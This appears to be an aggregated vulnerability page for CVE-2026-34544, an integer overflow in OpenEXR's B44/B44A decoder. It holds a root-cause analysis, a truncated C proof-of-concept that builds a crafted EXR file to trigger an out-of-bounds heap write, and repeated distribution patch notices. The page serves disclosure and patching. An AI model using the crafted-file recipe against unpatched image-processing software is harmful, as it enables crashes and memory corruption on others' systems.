CVE-2026-34544

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

• Variable declarations (internal_b44.c:535)

int nx, ny;

nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.

• Scratch buffer allocation (internal_b44:543)

nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
               (uint64_t) (curc->bytes_per_element);

The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.

• Row pointer reconstruction (internal_b44:560)

row0 = (uint16_t*) scratch;
row0 += y * nx;          
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;

y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

• Out of Band write (internal_b44:592)

memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);

These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.

#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHECK(call)                                                  
    do {                                                             
        exr_result_t _rv = (call);                                   
        if (_rv != EXR_ERR_SUCCESS) {                                
            fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);   
            goto fail;                                               
        }                                                            
    } while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {
    for (uint64_t i = 0; i < n; i++, out += 3) {
        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
    }
}

int main(void) {
    const int64_t  W      = 268435456;
    const int64_t  H      = 9;
    const char*    path   = "/tmp/poc_b44.exr";

    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
    const uint64_t psz    = blocks * 3;

    uint8_t* packed = (uint8_t*) malloc(psz);
    exr_context_t         ctxt   = NULL;
    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                   part   = -1;
    exr_chunk_info_t      cinfo;
    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;
    uint16_t              dummy  = 0;
    int                   ok     = 0;

    if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
    fill_blocks(packed, blocks);

    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
    CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
    CHECK(exr_initialize_required_attr_simple(
              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
    CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
                         …

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

• Variable declarations (internal_b44.c:535)

int nx, ny;

nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.

• Scratch buffer allocation (internal_b44:543)

nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
               (uint64_t) (curc->bytes_per_element);

The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.

• Row pointer reconstruction (internal_b44:560)

row0 = (uint16_t*) scratch;
row0 += y * nx;          
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;

y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

• Out of Band write (internal_b44:592)

memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);

These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.

#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHECK(call)                                                  
    do {                                                             
        exr_result_t _rv = (call);                                   
        if (_rv != EXR_ERR_SUCCESS) {                                
            fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);   
            goto fail;                                               
        }                                                            
    } while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {
    for (uint64_t i = 0; i < n; i++, out += 3) {
        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
    }
}

int main(void) {
    const int64_t  W      = 268435456;
    const int64_t  H      = 9;
    const char*    path   = "/tmp/poc_b44.exr";

    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
    const uint64_t psz    = blocks * 3;

    uint8_t* packed = (uint8_t*) malloc(psz);
    exr_context_t         ctxt   = NULL;
    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                   part   = -1;
    exr_chunk_info_t      cinfo;
    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;
    uint16_t              dummy  = 0;
    int                   ok     = 0;

    if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
    fill_blocks(packed, blocks);

    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
    CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
    CHECK(exr_initialize_required_attr_simple(
              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
    CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
                         …

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

• OpenEXR: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)

• OpenEXR: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)

• OpenEXR: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)

• OpenEXR: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)

• OpenEXR: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

• openexr: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)

• openexr: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)

• openexr: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)

• openexr: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)

• openexr: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Root has patched CVE-2026-34544 in the openexr package for Root:Debian:11. Multiple fixed versions available.

Root has patched CVE-2026-34544 in the openexr package for Root:Debian:12. Multiple fixed versions available.

Root has patched CVE-2026-34544 in the openexr package for Root:Debian:13. Multiple fixed versions available.

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

• OpenEXR: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)
• OpenEXR: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)
• OpenEXR: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)
• OpenEXR: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)
• OpenEXR: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

• openexr: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)
• openexr: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)
• openexr: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)
• openexr: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)
• openexr: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

• CVE-2026-34544: fix B44/B44A integer overflow in row pointer arithmetic

• CVE-2026-34544: fix B44/B44A integer overflow in row pointer arithmetic

These are all security issues fixed in the libIex-3_4-33-3.4.9-1.1 package on the GA media of openSUSE Tumbleweed.